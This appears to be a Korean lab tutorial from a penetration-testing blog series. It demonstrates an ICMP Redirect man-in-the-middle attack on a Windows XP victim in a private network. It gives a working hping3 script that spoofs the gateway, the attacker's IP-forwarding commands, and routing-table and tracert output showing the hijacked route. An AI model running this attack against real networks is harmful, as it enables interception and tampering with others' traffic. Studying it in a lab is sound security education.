실습> ICMP Redirect 공격하기
Victim Windows XP가 정적으로 MAC주소를 고정하면 공격자는 ICMP redirect 공격을 시도한다.
Victim Windows XP가 방화벽이 설정되어 있어서 ping을 막으면 공격이 안된다.
Victim Windows XP에서 방화벽을 모두 사용안함으로 설정하고 진행한다.
실행 -> firewall.cpl -> 방화벽 사용안함.
1. 공격 파일 생성
Attacker# vi icmpRedirect.sh
#!/bin/sh
# 파일명 : icmpRedirect.sh
# 프로그램 설명 : icmpRedirect.sh
# ICMP Redirect 공격 전 (정상적인 상태)
# [Victim]----------[Gateway]----------[Google]
# 192.168.108.105 192.168.108.2 8.8.8.8
# ICMP Redirect 공격 후 (비정상적인 상태)
# [Victim]----------[Attacker]----------[Gateway]----------[Google]
# 192.168.108.105 192.168.108.102 192.168.108.2 8.8.8.8
hping3 192.168.108.105 \
-c 10000 -1 -C 5 -K 1 -a 192.168.108.2 \
--icmp-gw 192.168.108.102 \
--icmp-ipdst 8.8.8.8 \
--icmp-ipsrc 192.168.108.105
# 이 명령어를 사용하기 위한 실습
# Victim에서 패킷 캡처로 패킷을 확인한다.
#
# hping3의 도움말 옵션과 icmp 도움말 옵션을 확인한다.
# hping3 --help
# hping3 --icmp-help
#
# 옵션 설명
# -c : packet count
# -1 : ICMP mode
# -C : ICMP 메세지 종류 (5, ICMP Redirect)
# -K 1 : redirect 할 종류 (host)
# -a : GW IP주소 (스푸핑할 IP주소)
# --icmp-gw : Attacker IP주소
# --icmp-ipdst : Target IP주소
# --icmp-ipsrc : Victim IP주소
# -c --count packet count
#
# Mode
# default mode TCP
# -0 --rawip RAW IP mode
# -1 --icmp ICMP mode
# -2 --udp UDP mode
# -8 --scan SCAN mode.
# Example: hping --scan 1-30,70-90 -S www.target.host
# -9 --listen listen mode
#
# IP
# -a --spoof spoof source address
#
# ICMP
# -C --icmptype icmp type (default echo request)
# -K --icmpcode icmp code (default 0)
# --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
#
# 더 많은 ICMP의 도움말을 확인하기 위해서는 --icmp-help 옵션을 사용해야 한다.
# # hping3 --icmp-help
# ICMP help:
# ICMP concerned packet options:
# --icmp-ipver set ip version ( default 4 )
# --icmp-iphlen set ip header length ( default IPHDR_SIZE >> 2)
# --icmp-iplen set ip total length ( default real length )
# --icmp-ipid set ip id ( default random )
# --icmp-ipproto set ip protocol ( default IPPROTO_TCP )
# --icmp-ipsrc set ip source ( default 0.0.0.0 )
# --icmp-ipdst set ip destination ( default 0.0.0.0 )
# --icmp-srcport set tcp/udp source port ( default random )
# --icmp-dstport set tcp/udp destination port ( default random )
# --icmp-cksum set icmp checksum ( default the right cksum)
Attacker# chmod 755 icmpRedirect.sh
2. 라우팅 테이블 확인
ICMP Redirect 공격 전 라우팅 테이블
C:\>route print
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x20002 ...00 0c 29 0e 30 1e ...... AMD PCNET Family PCI Ethernet Adapter - 패킷
스케줄러 미니 포트
===========================================================================
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.108.2 192.168.108.105 10
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
192.168.108.0 255.255.255.0 192.168.108.105 192.168.108.105 10
192.168.108.105 255.255.255.255 127.0.0.1 127.0.0.1 10
192.168.108.255 255.255.255.255 192.168.108.105 192.168.108.105 10
224.0.0.0 240.0.0.0 192.168.108.105 192.168.108.105 10
255.255.255.255 255.255.255.255 192.168.108.105 192.168.108.105 1
Default Gateway: 192.168.108.2
===========================================================================
Persistent Routes:
None
tracert 로 확인한다.
C:\>tracert -d 8.8.8.8
Tracing route to 8.8.8.8 over a maximum of 30 hops
1 <1 ms <1 ms <1 ms 192.168.108.2
2 * * * Request timed out.
3 ^C
3. ICMP redirect 공격
ICMP Redirect 공격 후 라우팅 테이블
Attacker# echo 1 > /proc/sys/net/ipv4/ip_forward
Attacker# ./icmpRedirect.sh
4. 라우팅 테이블 확인
C:\>route print
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x20002 ...00 0c 29 0e 30 1e ...... AMD PCNET Family PCI Ethernet Adapter - 패킷
스케줄러 미니 포트
===========================================================================
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.108.2 192.168.108.105 10
8.8.8.8 255.255.255.255 192.168.108.102 192.168.108.105 1 <-- 변조된 GW정보
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
192.168.108.0 255.255.255.0 192.168.108.105 192.168.108.105 10
192.168.108.105 255.255.255.255 127.0.0.1 127.0.0.1 10
192.168.108.255 255.255.255.255 192.168.108.105 192.168.108.105 10
224.0.0.0 240.0.0.0 192.168.108.105 192.168.108.105 10
255.255.255.255 255.255.255.255 192.168.108.105 192.168.108.105 1
Default Gateway: 192.168.108.2
===========================================================================
Persistent Routes:
None
C:\>tracert -d 8.8.8.8
Tracing route to 8.8.8.8 over a maximum of 30 hops
1 <1 ms <1 ms <1 ms 192.168.108.102
2 2 ms * <1 ms 192.168.108.2
3 ^C
5. 확인
Victim XP에서 ping으로 확인하고 Attacker에서 패킷 포워딩으로 중지하고 시작했을 때
Victim XP에서 ping이 되는지 안되는지로 확인할 수 있다.
C:\>arp -a
Interface: 192.168.108.105 --- 0x20002
Internet Address Physical Address Type
192.168.108.2 00-50-56-e2-02-72 static
192.168.108.102 00-0c-29-e6-4d-4a dynamic
C:\> ping 8.8.8.8 -t
5초 후에 포워딩 비활성화
Attacker# echo 0 > /proc/sys/net/ipv4/ip_forward
5초 후에 다시 포워딩 활성화
Attacker# echo 1 > /proc/sys/net/ipv4/ip_forward
5초 후에 다시 포워딩 비활성화
Attacker# echo 0 > /proc/sys/net/ipv4/ip_forward
5초 후에 다시 포워딩 활성화
Attacker# echo 1 > /proc/sys/net/ipv4/ip_forward
'Linux > 모의해킹' 카테고리의 다른 글
| Ping Of Death (0) | 2022.01.11 |
|---|---|
| ICMP Redirect 활성화/비활성화 테스트 (0) | 2022.01.11 |
| ARP 정적 변경하기 (0) | 2022.01.11 |
| Victim2 의 IP 주소와 MAC 주소의 정책을 우회하기 (0) | 2022.01.08 |
| iptables 에서 MAC 주소 설정하기 (0) | 2022.01.08 |